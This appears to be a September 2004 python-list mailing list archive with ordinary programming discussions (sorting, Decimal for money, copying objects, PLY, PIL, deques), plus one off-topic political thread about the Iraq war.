(=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 07 Sep 2004 20:30:54 +0200 Subject: i18n and GUI under Windows In-Reply-To: References: Message-ID: <413dfe55$0$26127$9b622d9e@news.freenet.de> Andr? Roberge wrote: > In short: I'm looking for a *simple* example of how to write a program > that can have its GUI in at least two languages under Windows ... > using only Python, of course! I think the most simple approach is using a dictionary. Make one Python file per language, and have that file contain only a single dictionary named "translations". For keys, you have three options: - use the English messages as keys (e.g. "Please enter your name") - use short identifiers as keys (e.g. "EnterName") - use numbers as keys (e.g. 116) Regards, Martin From db3l at fitlinxx.com Wed Sep 22 01:56:19 2004 From: db3l at fitlinxx.com (David Bolen) Date: 22 Sep 2004 01:56:19 -0400 Subject: Python 3.0, rich comparisons and sorting order References: Message-ID: "Delaney, Timothy C (Timothy)" writes: > Carlos Ribeiro wrote: > > > Just to make it clear, here it is how it works now: > > > >>>> a = [ 3.5, -1.0, "", (0,1), None, "z"] > >>>> a.sort() > >>>> a > > [None, -1.0, 3.5, '', 'z', (0, 1)] > > Add a complex to that list and watch the result. Or any user defined type that performs operations in the comparison functions that might end up raising an exception or rejecting some comparisons. > Not all lists are sortable *now*. The change in Python 3.0 is to make it > much more obvious that you *can't* just sort a list of unknown types. While I used to treat the "sort heterogeneous lists" as an attractive quality of the inter-type comparisons, I've pretty much come around to thinking that it's not worth it, particular since as you say, with rich comparisons you can't guarantee such behavior any more anyway. But what really emphasized it for me is having seen multiple new Python programmers get burned by Python silently comparing strings to numbers (where they forgot to convert user input as a string into a numeric type), but not in the way they expect, which can be a subtle failure. I think an exception in such cases is actually more Pythonic since it always feels like a mini-wart when I explain it to them. I've wondered if the legality of inter-type comparisons was really a design intention, or more a consequence of the inability of the earlier interpreter versions to have exceptions raised during the comparison process. -- David From steven.bethard at gmail.com Tue Sep 21 14:29:52 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 21 Sep 2004 12:29:52 -0600 Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: <864d37090409211107302ef8a5@mail.gmail.com> References: <864d370904092109509df67ee@mail.gmail.com> <864d37090409211107302ef8a5@mail.gmail.com> Message-ID: On Tue, 21 Sep 2004 15:07:30 -0300, Carlos Ribeiro wrote: > Assume that you're implementing a spreadsheet like application in > Python. The user fills a column with arbitrary data, and asks for it > to be sorted. What is the sorting order? Excel, for instance, defines > an ordering (it's arbitrary, but it's deterministic). Thanks, that helps. You can always have end users asking you to sort things that shouldn't be sorted... Presumably you could change how sort works so that it first stratifies the list by type, and then sorts for each type. The types would then be ordered arbitrarily (perhaps by the id of their type?)... Might slow down the normal-case sort though... Hmm... > The set, in this particular case, > is a Python list, that *can* contain arbitrary data. So it does not > make sense (in my not-so-humble opinion) for sort to impose > restrictions based on the list element type. Yeah, by restricting comparisons, we'd be basically saying that sort is only defined for lists that take the form list. > (BTW, if we extend this reasoning, the same could be said for other > types of functions that work over sets -- sum() should ignore > non-numeric values, etc. But that's another philosophical battle) Currently sum is only defined for iterable. Of course the vast majority of Python functions have type restrictions on their arguments (and will raise TypeErrors if these are violated). So I suspect we don't have to fall down the slippery slope and make all functions fully generic. Steve -- You can wordify anything if you just verb it. - Bucky Katt, Get Fuzzy From mhatmaker at gmail.com Mon Sep 13 18:45:01 2004 From: mhatmaker at gmail.com (Michael Hatmaker) Date: 13 Sep 2004 15:45:01 -0700 Subject: Problems getting Python client (SOAPpy) to consume .NET web services Message-ID: I have begun experimenting with web services, and I created some simple web services in C# and was able to install them with IIS and create an equally simple C# client to consume them. My next experiment was to use Python to consume these same web services, and even though I am able to get Python to consume web services from a variety of sources (Apache SOAP, Glue, AXIS), I cannot get web services created with MS.NET to work. Actually, methods with no arguments work fine, but any methods that take arguments do not work. There is no error, it is simply that an incorrect result is returned (i.e. my simple Add(int a, int b) web service always returns zero). I tried playing around with the [SoapDocumentService(Use=SoapBindingUse.Literal, ParameterStyle=SoapParameterStyle.Wrapped)] arguments in .NET, but I have had no success as of yet. I don't think it's just me since I cannot consume any of the web services on webmethods.net that are created using MS.NET. My Python code looks something like this: from SOAPpy import WSDL server = WSDL.Proxy('http://localhost/MyWebServices/FirstService.asmx?WSDL') server.SayHello() # works correctly - just prints a hello message server.Add(3, 4) # does not work - returns zero Any tip that would point me in the right direction would be greatly appreciated! From jepler at unpythonic.net Thu Sep 16 20:49:50 2004 From: jepler at unpythonic.net (jepler at unpythonic.net) Date: Thu, 16 Sep 2004 19:49:50 -0500 Subject: Finding a python object in c++ In-Reply-To: References: Message-ID: <20040917004949.GA4257@unpythonic.net> Access the 'im_self' attribute of the bound function object. In C, I suppose this is something like PyObject_GetAttrString(bound_m, 'im_self') >>> class F: ... def m(self): pass ... >>> f = F() >>> bound_m = f.m >>> dir(bound_m) ['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__get__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__repr__', '__setattr__', '__str__', 'im_class', 'im_func', 'im_self'] >>> bound_m.im_self is f 1 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From exarkun at divmod.com Sat Sep 4 13:33:52 2004 From: exarkun at divmod.com (Jp Calderone) Date: Sat, 04 Sep 2004 13:33:52 -0400 Subject: Method returning new instance of class? In-Reply-To: <2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net> References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> <4139a87a$0$30204$9b622d9e@news.freenet.de> <2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net> Message-ID: <4139FC80.8090907@divmod.com> Arthur wrote: > "Martin v. L=F6wis" wrote in message > news:4139a87a$0$30204$9b622d9e at news.freenet.de... > = >>Arthur wrote: >> >>>Essentially I am trying to create a non-destructive tranformation of an >>>instance of a class - is one way of putting it. >>> >>>The way I am currently conceptualizing a solution, what I need is a > = > method > = >>>of the class that returns a new instance of the class. >> >>So you want a copy of the object. I'd use copy.copy for this, perhaps >>copy.deepcopy. > = > = > That was my first instinct. And perhaps my problem is in here somewhere. > = > The app is graphical, and I use a Python extensions in C++ using the Boost > library (vpython, new version). My class instance has an attribute which= is > a vpython object. Copy.copy doesn't get me where I need to be because my = new > instance gets a reference to the same vpython object, and changes to it a= re > reflected in the original instance. Copy.deepcopy doesn't work for more > obscure reasons. I get an error message generating up from vpython when I > try to change an attribute of the object on the new instance - though I = am > interacting with it in the same manner that works fine when performed on = the > original instance. > = > But do you see any reason why this might be? > = > If it sounds totally illogical, I'll go back and check myself - because of > course the actual sitruation is a bit more complicated than what I am > describing, and I guess it is possible I am falling off the ledge somewhe= re > else. It sounds terribly logical. Copying objects is extremely difficult = to do correctly. There is no way to do it generically and correctly. = Make the copy too shallow, and you get unwanted shared state. Make the = copy too deep and the new object is useless. How do you decide how deep = is deep enough? You can't, at least not without intimate knowledge of = the object you're dealing with. Once you figure out exactly how deep you need to make your copy, you = can tell copy.deepcopy() how to behave with the copy_reg module. Of = course, since this knowledge is quite closely tied to VPython, it should = really be *part* of the VPython package, so that changes to the = internals of VPython can be made right alongside changes to the code = which knows how to copy its objects. Jp From FBatista at uniFON.com.ar Tue Sep 21 09:05:46 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Tue, 21 Sep 2004 10:05:46 -0300 Subject: Why not FP for Money? Message-ID: [Barkmann at gmail.com] #- I've seen it suggested various times that one should use fixed point #- for money, perhaps micro cents represented as integers. However, if #- you do that, you need to make sure you do all the rounding correctly. #- If you were to use FP, you could have your IEEE 754 hardware do the #- rounding for you, and get better performance to boot. If you are #- rounding to cents at the end anyway, I can't see that the #- errors you'd #- get with 64 bit FP numbers would ever be an issue. Here's a confusion. Floating Point is fine to use in Money. But Decimal Floating Point, and not Binary Floating Point (DFP is implemented in the decimal module, BFP is implemented in the IEEE 754 hardware). For further reference you may read the PEP 327 (Decimal Data Type): http://www.python.org/peps/pep-0327.html Having read the *long* thread from this weekend, and seeing another start, I'd recommend a *lot* of people to read that PEP. . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From mauriceling at acm.org Sun Sep 19 19:10:40 2004 From: mauriceling at acm.org (Maurice LING) Date: Sun, 19 Sep 2004 23:10:40 GMT Subject: Using PLY In-Reply-To: <4b39d922.0409171206.1ed5003d@posting.google.com> References: <414a6ca1$1@news.unimelb.edu.au> <4b39d922.0409171206.1ed5003d@posting.google.com> Message-ID: <414e11ec$1@news.unimelb.edu.au> > > The tokenize module would definitely be simpler if it's Python code > that he happens to be parsing. If it's not Python code, then there's > still a reason to use PLY.. > Thanks, I'm not parsing Python codes for sure and so, it is a good reason to use PLY. Another thing that I am quite puzzled by is the yacc part of PLY. Most of the examples are showing calculators and the yacc part does the calculations such as, def p_expression_group(self, p): 'expression : LPAREN expression RPAREN' p[0] = p[2] this is a bad example, I know. But how do I get it to output some intermediate representations, like AST, or an intermediate code (byte-code type). Is def p_expression_group(self, p): 'expression : LPAREN expression RPAREN' p[0] = p[2] print "byte_x" + p[0] or something like this legal? I hope that I am clear about what I am trying to say. Thanks in advanced Maurice From aleaxit at yahoo.com Mon Sep 13 12:34:59 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 13 Sep 2004 18:34:59 +0200 Subject: Newbie: tuple list confusion. References: <20040912195529.03437.00000338@mb-m27.aol.com> <1gk1n7i.2du2ju1d38wwgN%aleaxit@yahoo.com> <10kb9u8s1fqm12c@news.supernews.com> Message-ID: <1gk2dib.1b0e0ul19v16a4N%aleaxit@yahoo.com> John Roth wrote: > "Alex Martelli" wrote in message > news:1gk1n7i.2du2ju1d38wwgN%aleaxit at yahoo.com... > > Elaine Jackson wrote: > > > >> In addition to what you've found out already, there is another difference > >> that, to my mind, is of paramount importance; namely, the fact that an > >> augmented assignment (a+=b) is actually not an assignment at all. An > >> actual assignment (a=a+b) binds the name "a" to a new object, while a > >> so-called augmented assignment mutates the object a itself. > > > > Ah, careful there: augmented assignment (nothing "so-called" about it;-) > > mutates the object and THEN assigns ("re-binds" if you want to get > > technical) the name or other slot holding the object. > > I've never understood why it does that. If you have a mutable object > that is updated, then the rebinding makes no sense whatsoever. I guess the point is that: T = (X,) T[0] += Y *MUST* fail, whatever X's type; having it fail when (e.g.) type(X) is str and succeed when type(X) is list would be strange... > The problem is that it's not just confusing, I think I have a > reasonable expectation that if it fails, it fails atomically. I guess the problem here is that we can't be sure that the semantics of, say, T[x] = T[x] are to either fail or be a no-operation, and in the latter case future assignments to T[x] won't fail. That depends on type(T)... and I don't see other ways to ensure 'atomicity' -- we can't afford to deepcopy X before calling X.__iadd__, after all, just to try and ensure we can "undo" the effect of the latter. If you disagree with the details of T[x] += y chosen semantics (and I can well see why one might), I think you should get together with others who agree with you and put together a PEP in time for Python 3000, which will probably be the one and only chance to introduce incompatible changes in this matter (like in others). While I can sympathize with your qualms, I think that preparing a PEP to specify precisely what should happen in such cases will help you see why the current semantics were chosen. Similarly for someobj.anattr += whatever and so on, of course. Python 3000 is years away, so it's not an urgent matter, but without such a PEP I think I can predict these details won't change. Alex From skip at pobox.com Fri Sep 10 10:23:55 2004 From: skip at pobox.com (Skip Montanaro) Date: Fri, 10 Sep 2004 09:23:55 -0500 Subject: WxInter In-Reply-To: <1094825049.638700@news.commspeed.net> References: <1094825049.638700@news.commspeed.net> Message-ID: <16705.47355.109973.263814@montanaro.dyndns.org> Tom> It seems that the thing that people like about Tk is the Canvas Tom> object has anyone tried the wxFloatCanvas as a replacement. Where is it? Google turns up essentially nothing for "wxFloatCanvas" on either groups or web. That makes it a pretty well-hidden object. Google offered "wxPlotCanvas" as an alternative. Are they related? Skip From john at grulic.org.ar Thu Sep 9 10:40:13 2004 From: john at grulic.org.ar (John Lenton) Date: Thu, 9 Sep 2004 11:40:13 -0300 Subject: xpath and python In-Reply-To: References: Message-ID: <20040909144013.GB26093@grulic.org.ar> On Thu, Sep 09, 2004 at 10:10:32AM +0100, C Gillespie wrote: > > Does anyone know if there is a python library that accepts xpath constructs? the fastest I've found is the one in libxml2. -- John Lenton (john at grulic.org.ar) -- Random fortune: Q: How much does it cost to ride the Unibus? A: 2 bits. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From carribeiro at gmail.com Thu Sep 23 14:52:00 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 23 Sep 2004 15:52:00 -0300 Subject: Why not FP for Money? In-Reply-To: References: Message-ID: <864d370904092311523c3b8877@mail.gmail.com> On 23 Sep 2004 18:10:52 GMT, Bengt Richter wrote: > >>>> a = $35.72 > >>>> b = $1.73 > >>>> a+b > >$37.45 > ... > I'd prefer not to use up '$' for something that specialized. > ISTM we already have a precedent with longs: i.e., an L suffix. So why not > a D suffix for decimal literals? E.g., > > a = 35.72D # 35.7200D e.g. would specify greater guaranteed precision > b = 1.73D > a+b > 37.45D That's what is nice about $ -- it is a specialized case, and it's a special symbol that is readily recognized by most people as associated with money. Not that I don't like the suffix idea -- it's only that I think that, for a novice, it's much easier to read the $ as a prefix for money (unless he was previously exposed to Perl, regexps and stuff - but I'm assuming that the people that need more the Money type aren't this type of users). -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From peter at engcorp.com Thu Sep 23 13:31:31 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 23 Sep 2004 13:31:31 -0400 Subject: spliting a list by nth items In-Reply-To: References: Message-ID: Steven Bethard wrote: > I feel like this has probably been answered before, but I couldn't > find something quite like it in the archives. Feel free to point me > somewhere if you know where this has already been answered. > > I have a list in a particular order that I want to split into two > lists: the list of every nth item, and the list of remaining items. > It's important to maintain the original order in both lists. > > So the first list is simple: > > nth_items = items[::n] > > The second list is what's giving me trouble. So far, the best I've > come up with is: > > non_nth_items = list(items) > del non_nth_items[::n] > > Is this the right way to do this? There's probably no "right" way. Your way isn't the way I would have thought to do it, I think. But it's brilliant. :-) (Also simple and clear.) -Peter From __peter__ at web.de Sat Sep 4 14:13:21 2004 From: __peter__ at web.de (Peter Otten) Date: Sat, 04 Sep 2004 20:13:21 +0200 Subject: list conversion question References: <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com> Message-ID: Jp Calderone wrote: > Even faster, though perhaps not as clear: > > >>> import operator > >>> hist = [ 0, 1, 0, 5, 43 ] > >>> map(operator.itemgetter(0), sorted(enumerate(hist), > ... key=operator.itemgetter(1))) > [0, 2, 1, 3, 4] Yet another option, not benchmarked, perhaps clearer: >>> hist = [0, 1, 0, 5, 43] >>> indices = range(len(hist)) >>> indices.sort(key=hist.__getitem__) >>> indices [0, 2, 1, 3, 4] Peter From zanesdad at bellsouth.net Mon Sep 20 21:00:11 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Mon, 20 Sep 2004 21:00:11 -0400 Subject: python is going to die! =( In-Reply-To: References: <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> Message-ID: <414F7D1B.3090209@bellsouth.net> Andrew Dalke wrote: > bruno modulix wrote: > >> Well, you forgot emacs, the best Python IDE around - and it's free... > > > Speaking of which, is there any way to get tab-completion > (intellisense?) behaviour in emacs? Or in the interactive > interpreter? > > Andrew > dalke at dalkescientific.com Well, it's not emacs nor is it the standard Python interactive interpreter, but IPython has tab-completion. From the main IPython site (http://ipython.scipy.org/): Completion in the local namespace, by typing TAB at the prompt. This works for keywords, methods, variables and files in the current directory. This is supported via the readline library, and full access to configuring readline's behavior is provided. I've started trying to use it. It's got a different "feel" from the standard interpreter - may be nothing more than the default prompts, but it's got some nice features. I'm going to invest some time using it and see if it is a good fit for me. To the point of the rant, I've found myself very productive with just gvim and the standard Python interactive interpreter (and now trying IPython). I've tried several different editors/IDEs (Eclipse, JEdit, Ultra-Edit, emacs maybe a few others) and have found myself most productive with gvim. And I don't think I'm one of the old farts just yet - only 31 and only been programming for a few years now. Anyhow, I don't think that the tools make or break the language - at least when you've got a great language like Python. Maybe you _need_ a boat load of tools when you have a deficiency in the language - like Java (which I have programmed in a little and I presume in C# which I have never programmed in). Anyway, just my $.02 worth. Jeremy Jones From jmfbahciv at aol.com Sat Sep 11 10:22:44 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Sat, 11 Sep 04 14:22:44 GMT Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> <1ctshc.kd52.ln@via.reistad.priv.no> Message-ID: <41431d5f$0$6923$61fed72c@news.rcn.com> In article <1ctshc.kd52.ln at via.reistad.priv.no>, Morten Reistad wrote: >In article <1oh3k01cieht04nmfo27pvihg8teme0mdt at 4ax.com>, >Alan Balmer wrote: >>On Fri, 10 Sep 2004 00:13:56 +0200, Morten Reistad >> wrote: >> >>>>However Bush is demonstrably poor. He ignored the warnings from >>>>the CIA, FBI, outgoing Clinton administration about imminent >>>>attacks. He was focused on attacking Saddam and Iraq from the >>>>first, and perverted 9/11 into that at the earliest opportunity. >>>>He has offended many more than most of his predecessors. I will >>>>say that he seems to have learned the names of some foreign >>>>leaders since being elected. >>> >>>Bush has had an agenda all right; but I don't quite get what it is. >>> >>And, of course, entertaining the possibility that his agenda is just >>what he says it is, is completely out of the question. > >I just cannot understand what he wanted to do with Iraq, so fast and >with such a limited expedition corps. > >If we for a moment give them the benefit of the doubt and assume that >Iraq WAS a hotbed of terrorists buiding WMD's. There may after all be >some information they cannot tell us. This would explain the >hurry and the go-it-alone tactic. In that case , why wasn't the place >hit a lot harder; int the Nixon/Pinochet style? Why a PHB like Bremer? >Why not a real tough army goy the first couple of months? I just cannot >make sense of this scenario. I had assumed this was to placate France, Germany and Russia. IMO, there was too much politics and not enough military. > >On the other hand, it may be a wish to liberate Iraq from the ravages >of Saddam, and a final round of being pissed at Saddam repeatedly >flouting the ceasefire agreement. This is a perfectly legitimate >reason to escalate the war again (it is the same war, there was never >a peace agreement, only a cease-fire). In that case a few rounds of >UN song and dance could be done while a new coalition was built; with >the US taking around a fourth of the cost and manpower, like last time. >This could be convincingly sold to the Iraqi populace as a liberation. But France, Germany and Russia would have nothing to do with that. It would stop their cash flows with Saddam if we had tried to build a coalition. They were farting around using all kinds of delay tactics and were more than willing to allow Saddam to flaunt the cease fire. With nobody watching the bad boy, he could do anything he damned well wanted to, including allow transport across his country from east to west. > >So, I don't get it if the agenda is just what is spoken. If the agenda >is to make way for Israel scenario #2 would still be a better one. > >Contrast this with Afghanistan, where there was a pretty high urgency >to get the al-Quaeda and the Taliban before they moved with another >terrorist monstrosity. Yet, a large alliance was built, NATO was used >as far as it could be stretched. the UN was in on it; and the US ended >taking around half the cost and supplying a fifth of the manpower. >With a similar strategy in Iraq the US could have resources left over >to handle North Korea, Sudan, Sierra Leone with less expenditure than >what you ended up with. > >I just don't get it. The stated agenda is either misstated, or grossly >misimplemented. Or the agenda changed in midstream. /BAH Subtract a hundred and four for e-mail. From peter at engcorp.com Wed Sep 15 08:22:32 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 08:22:32 -0400 Subject: Strange "feature" involving double slashes in Win98 In-Reply-To: References: Message-ID: Carlos Ribeiro wrote: > Oops. For some reason I misread your message. I'm using Win98 SE, and > have no plans to upgrade (at least while I'm limited to my current PC > setup). > > Regarding this bug: if it's clear that this is Windows bug, does it > make sense to fix it in the libraries themselves? Not sure, but one could argue that if the OS routine to do this is buggy, the code that was put in to take advantage of it should be removed and a different approach taken. Or if it's important enough, a special case could be inserted. I suspect your opinion is valid on this: too few places have paths that look like c://work to bother fixing this. -Peter From aleaxit at yahoo.com Tue Sep 7 13:45:15 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 19:45:15 +0200 Subject: docs on for-loop with no __iter__? References: <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> <1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com> <1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com> <1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com> <1gjqq4n.ymzsqv1qptuk5N%aleaxit@yahoo.com> Message-ID: <1gjrddo.1th1j1nl002grN%aleaxit@yahoo.com> Steven Bethard wrote: > Alex Martelli yahoo.com> writes: > > It's partly a matter of "look before you leap" versus "easier to ask > > forgiveness than permission", a conceptual distinction that IS quite a > > hobby-horse of mine (although "practicality beats purity", mind you. > > Well, in either case, someone is looking before they leap. If __len__ is > checked in the protocol, then the protocol (i.e. the Python interpreter) has > to do the looking. Otherwise, the programmer has to do the looking to > determine when to raise the IndexError. If and only if __len__ is the ONLY sane way to tell, yes. Such cases are exceedingly rare in practice, as you point out: > Hmm... Though I guess it kinda depends what you do in your __getitem__... > The example we've been looking at was something like: > > class S: > def __len__(self): return 42 > def __getitem__(self, i): > if 0 <= i < len(self): > return i > raise IndexError, i > > So in this case, the programmer has to "look before they leap" (hence the if > statement). But in a more realistic situation, I can see that maybe you could > just "ask forgivenesss instead of permission": > > class T: > def __init__(self, data): self.data = data > def __len__(self): return len(self.data) > def __getitem__(self, i): > try: > return self.data[i] > except (IndexError, KeyError): > raise IndexError, i > > No look-ahead here -- assume you'll usually get valid indices and catch the > exception if you don't. Right, except you don't have to intercept and reraise IndexError, just let it propagate (if KeyError is meaningfully possible and excepted then yes, you do have to catch and translate _that_ one). Alex From steven.bethard at gmail.com Wed Sep 15 02:27:59 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 15 Sep 2004 06:27:59 +0000 (UTC) Subject: deque slicing References: Message-ID: Raymond Hettinger verizon.net> writes: > Even getitem/setitem were a stretch (they perform best at endpoints) and were > added to make deques substitutable for lists in stack/queue applications > using d[0] and d[-1] to implement peekleft() and peekright() operations. Ahh, ok, so the functionality I was really looking for is peekleft(n). That is, a peek function that would return the first n items, starting at the left. (If you're curious why I wanted this, see the peekable class in http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/304373.) I assumed that the best way to get this was slicing, but are there plans for such a peekleft function? Steve From skip at pobox.com Thu Sep 2 17:21:02 2004 From: skip at pobox.com (Skip Montanaro) Date: Thu, 2 Sep 2004 16:21:02 -0500 Subject: shelve like interface to MySQLdb In-Reply-To: References: Message-ID: <16695.36542.40493.294332@montanaro.dyndns.org> brian> I've done some googling and came up empty. Is there a simple way brian> to create a shelve like interface to a MySQL table? The keys brian> would be a direct mapping to the primary key in the table. Perhaps overkill for your needs, but it sounds like you want part of what an object-relational mapper does. See here: http://www.thinkware.se/cgi-bin/thinki.cgi/ObjectRelationalMappersForPython for Pythonic instantiations of the concept. Skip From lbates at swamisoft.com Mon Sep 13 17:44:49 2004 From: lbates at swamisoft.com (Larry Bates) Date: Mon, 13 Sep 2004 16:44:49 -0500 Subject: access tga image size References: <8c2f23c.0409131332.41657a38@posting.google.com> Message-ID: You will need to get and install a copy of PIL (Python Imaging Library) available at: http://www.pythonware.com/products/pil/index.htm then in Python: import Image filepath='' im=Image.open(filepath) height, width=im.size print "%s-height=%i, width=%i" % (filepath, height, width) or for all files in a directory import glob import Image filepathlist=glob.glob(r"c:\images\*.tga") for filepath in filepathlist: im=Image.open(filepath) height, width=im.size print "%s-height=%i, width=%i" % (filepath, height, width) Larry Bates Syscon, Inc. "haddock" wrote in message news:8c2f23c.0409131332.41657a38 at posting.google.com... > hi all > > Is it possible to access the size (with and height) of a .tga image in > python? From the documentation I would say no, but I'm pretty new to > python... > > if the answer really is no, has someone a suggestion how else I could > write a little script that computes the total area of a large nuber of > image files in a folder? I should check texturespace for 3D Models, > and would like to avoid copy pasting them all into Photoshop... > > thanks for your trouble > > haddock From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Fri Sep 24 14:17:30 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Fri, 24 Sep 2004 19:17:30 +0100 Subject: reading a rar archive.... In-Reply-To: <19Z4d.2105$Pd2.714832@monger.newsread.com> References: <19Z4d.2105$Pd2.714832@monger.newsread.com> Message-ID: Rene Lopez wrote: > Is there any way to get python to read files from a rar archive? If there's not, you could make one using Pyrex and unrarlib. That's an exercise for the reader. ;) -- Michael Hoffman From carribeiro at gmail.com Sun Sep 5 16:41:55 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sun, 5 Sep 2004 17:41:55 -0300 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> Message-ID: <864d370904090513412acec043@mail.gmail.com> Well. As said, almost done. One thing that I promise is that, whatever comes out of this, I promise to summarize a faq-like answer to "why are sorted() and [i]reversed() named like that". For now I?ll focus on a single issue now: My idiom: reverse_list = [x for x in reversed(mylist)] Alex's idiom: reversed_list = list(reversed(mylist)) There is no doubt that Alex's idiom is *much* more efficient than mine. However, I was left wondering on why didn't I come up with it first time -- it's obvious once you see it, but still, for some reason, the list comprehension was more intuitive for me. I don't know about the rest of Pythoneers, specially newbies, but understanding *why* did I came up with my version may help to illustrate the mental model surrounding iterators. My explanation is that iterators and list comprehensions are conceptually similar. reversed() or (ireversed(), for that matter) returns an iterator, so it's relatively simple to use it inside a list comprehension. list(), on the other hand, is a built in that takes a sequence as an argument. And guess what? The argument does not need to be a "true" sequence or tuple. According to the Python manual, "list( [sequence]) -- Return a list whose items are the same and in the same order as sequence's items. sequence may be either a sequence, a container that supports iteration, or an iterator object. " So almost anything will do it, but for some reason, I found the list comprehension version to be more intuitive. Guess I have to read the manual more often :-) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Sat Sep 25 03:31:52 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 25 Sep 2004 09:31:52 +0200 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> <1gkm0e6.chc32oojaw31N%aleaxit@yahoo.com> <0lu8l09suqjh3ugkcka20f3mg3mttig6up@4ax.com> Message-ID: <1gknvl5.1r7djjrcwbtbyN%aleaxit@yahoo.com> Richard Hanson wrote: ... > > search facilities _together_ with good organization of your materials > > (if you take the bother of the latter). Consider Mail.app: its search > > functionality works across all mailboxes or on a single mailbox -- > > you're _still_ encouraged to do a little decent filing of your mails, > > It *does* seem necessary to "educate" the database about our own > preferences and styles of organization and the like, as well as > "rating and filing" specific, individual objects. I'm interested in > figuring out ways to make it *very* easy to "add value" to the > database with a more efficient HCI -- unless it's very, very simple to > do (nearly automatic, even ;-) ), the user won't do it. There are many kinds of users. I essentially rely on automatic classification of mails into mailboxes based on a dozen or so rules/filters. But my wife Anna, who's worked as office manager etc for years, has filing as "second nature" -- _her_ mailboxes (Thunderbird, her preference) are neat and pristine, just like her filing cabinets. In real life whenever I have to look for some weird document I face hours of rummaging through papers trying to divine where I may have put it; when Anna is looking for a document in her archives, she reaches into the right folder, and there it is, period. On computers, with automatic classification rules and search engines &c, her advantage is not quite as pronounced -- but it's still there. I have known several people with a penchant for effective and systematic filing, though they are no doubt a minority, wrt us slobs. It's important for the system not to get in their way: for example, when they move a mail from folder 'pending purchase decisions' to folder 'purchases considered but rejected', the system must automatically and seamlessly update the indexes of both folders, and the global index of all boxes, too. Otherwise, if the system makes it _less_ effective to do good classification and filing, it will earn deserved scorn and enmity from those kind of users. > > though the search does make it more feasible to survive with the popular > > "one big inbox and never bother filing" paradigm;-). > > I'm thinking one database with some auto-indexing helped along with > specific user guidance re the "value-adding" aspect. Without some sort > of fast auto-indexing, of course, and without the easy ability for > user attribute-adding, the "one big box" paradigm could be painfully > slow for precise narrowing of large collections of heterogeneous > objects. Presumably, the above mentioned apps, and Google, of course, > do the auto-indexing part. Yes, and 'searchlight', Tiger's forthcoming search engine, centralizes the indexing (still needs SOME cooperation from apps, of course) as well as the search. The ability for the user to tag documents with arbitrary metadata is also a key part of this, I assume it's what you call the "value adding aspect"? > > Consider Google: > > it doesn't eliminate the advantage of well-organized, navigable sites, > > even though it gives you a chance of surviving the typical "designed by > > marketing, what's this ``usability'' newfangled thing?!" ones... > > Heh. Don't get me started re the latter... ;-) > > Apple's work definitely sounds like a step in the right direction. Is > there *complete* integration of *all* object types? Only in as much as applications cooperate with the central engine, at least in some aspects. That may be why Apple has been circulating alphas of Tiger to developers with such HUGE lead time, up to a year before it hits the shelves: Searchlight's value grows exponentially the more apps register their documents' metadata with it, and use it for their search facilities -- app developers need time to enable that. Say a user prefers Entourage or Thunderbird to Mail.app for their mails: such a user will find Searchlight less useful than a Mail.app user will _unless_ these other mail apps cooperate with Searchlight (sure, Apple might reverse engineer _some_ file formats for documents of some recalcitrant apps of particular importance, but that's more overall work, and will still tend to produce results not quite as satisfactory, than if the app's own developers did the job...). > As I see it, the user should be able to tap a button and change an > email into a snailmail doc, or vice versa, say, with the system > handling the details automagically. In Tiger, such import/export facilities remain fully up to individual apps -- there's just no way an indexing and search facility can have enough metadata on all aspects of documents of disparate types (including, crucially, formatting/presentation issues) to do the job. > And, with a few appropriately set > filters using attributes, sorts, and such, the user should be able to > see all the emails, documents, pics, sounds, flicks, etc. relating to, > for 